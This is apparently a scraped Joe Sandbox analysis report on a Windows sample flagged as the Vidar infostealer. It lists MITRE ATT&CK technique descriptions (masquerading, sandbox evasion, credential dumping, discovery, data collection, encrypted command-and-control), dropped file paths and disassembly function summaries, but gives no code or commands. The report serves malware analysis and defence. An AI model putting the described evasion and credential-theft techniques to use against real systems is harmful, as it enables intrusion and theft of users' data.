Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKF\BKKFHI

C:\ProgramData\AEGIJKEHCAKF\GDBAKK

C:\ProgramData\AEGIJKEHCAKF\GHJJDG

C:\ProgramData\AEGIJKEHCAKF\GHJKEH

C:\ProgramData\AEGIJKEHCAKF\HDBKJE

C:\ProgramData\AEGIJKEHCAKF\IEHJJE

C:\ProgramData\AEGIJKEHCAKF\KFIJEG

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199680449169[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll

Windows Analysis Report
file.exe

Function 02D69741 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 02D20C38 Relevance: 8.2, Strings: 6, Instructions: 706
COMMON

Function 02D226B0 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Function 02D226B8 Relevance: 1.6, APIs: 1, Instructions: 66
threadinjectionCOMMON

Function 02D225E8 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Function 02D225F0 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Function 00416676 Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Function 0040B700 Relevance: 44.7, APIs: 19, Strings: 6, Instructions: 924
fileCOMMON

Function 004041D4 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170
networkmemoryfileCOMMON

Function 1B4A4CF0 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 461
fileCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre